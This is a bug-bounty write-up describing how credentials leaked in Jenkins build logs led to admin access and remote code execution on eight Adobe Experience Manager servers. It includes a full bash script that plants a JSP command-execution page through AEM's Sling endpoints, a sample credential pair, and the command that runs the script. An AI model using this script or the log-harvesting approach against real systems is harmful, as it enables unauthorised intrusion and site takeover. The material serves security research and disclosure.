👋🏼 introduction:

This is a short write-up of how I progressed from discovering a Jenkins instance to getting shells on 8 Adobe Experience Manager servers and gaining edit access to a company’s main sites. Along with this blog-post, I’m releasing a tool called jenkinz.

Note: as this was a finding in a private program, I’m not allowed to disclose any details that could be used to identify them. For this reason, I’ve changed and redacted details.

🕵️recon

Back in June, I decided to change my workflow and automate more of my recon. After doing so, I decided to perform a test scan against a private program I was in. After the scan finished, I started looking through the HTTP titles of every subdomain it had discovered.

One in particular caught my eye: Dashboard [Jenkins] - https://wcm-pipeline03.dev.test.example.com

I visited the subdomain and found that it was indeed running Jenkins. In the past I have had success getting Code Execution on Jenkins via Orange Tsai’s research, so I tried that but unfortunately it was patched.

However, the /signup endpoint was enabled, so I registered for an account and logged in, and started looking at the builds: https://wcm-pipeline03.dev.test.example.com/view/all/builds.

I’m a huge sucker for Continuous Integration applications and I’ve done some research on finding secrets in build logs on TravisCI. Since this Jenkins server was running the latest version and there weren’t any public vulnerabilities in it, I decided to go down a different route: finding secrets in build logs.

Just like with Travis-CI, it would be an incredibly tedious task to manually retrieve every build log and environment variable for every job, so I automated all of it.

🎉 jenkinz -> secretz -> rce

jenkinz is the the tool that came out of this; it retrieves every build (log and environment variables) for every job ever created and run on a given Jenkins instance and saves them all to an output directory.

After running the tool, I had a large amount of data through. ripgrep is great for this - after searching for a few different strings, I found credentials in one of the logs:

found credentials for id: aem-ingress -> username: aemingress Password: Goodbye2017!

By reading through the entire log file, it was evident that this job was a script that logged into several Adobe Experience Manager servers, performed some tasks, then emailed a developer. I had discovered and tested a few of their AEM instances in the past, so I went back through my historical recon data, searched on Github, and found 8 of their AEMs.

The credentials worked and I was an admin on all of them.

Next, I took a bash script by 0ang3el and modified it to only run the uname command:

#!/usr/bin/bash

if [ "$#" -ne 3 ]; then
	echo "Usage: $0 URL USERNAME PASSWORD"
	exit 2
fi

url="$1"
username="$2"
password="$3"

payload=$(cat <<-EOT
<%@ page import="java.io.*" %>
<% 
	Process proc = Runtime.getRuntime().exec('uname -a');
	
	BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
	StringBuilder sb = new StringBuilder();
	String s = null;
	while ((s = stdInput.readLine()) != null) {
		sb.append(s + "\\\\n");
	}
	
	String output = sb.toString();
%>
<%=output %>
EOT
)

echo "$payload" > /tmp/html.jsp

#Create rcetype
curl -k -s -X POST -H "Referer: $url" -u "$username:$password" "$url/apps/rcetype" -Fhtml.jsp=@/tmp/html.jsp > /dev/null

# Create rcenode
curl -k -s -X POST -H "Referer: $url" -u "$username:$password" "$url/rcenode" -Fsling:resourceType=rcetype > /dev/null

echo "Now navigate to $url/rcenode.html"

Running it with the credentials I’d found:

$ bash aem-rce-sling.script.sh http://aem-instance.example.com "aemingress" "Goodbye2017!"

Now navigate to https://aem-instance.example.com/rcenode.html

After navigating to the URL, the uname -a command executed.

Not only did I have RCE though, I had full privileges and could’ve deleted or edited all of their main sites, including their subsidaries in AEM:

http://aem-instance.example.com/editor.html/content/example/example_com/us/en/home/index.html

outro:

I had a super fun time with this vulnerability and I enjoyed tooling it. Hopefully in your bug-bounty, pentesting, and/or red-teaming journey, the tool is useful!


Happy hacking,
Corben Leo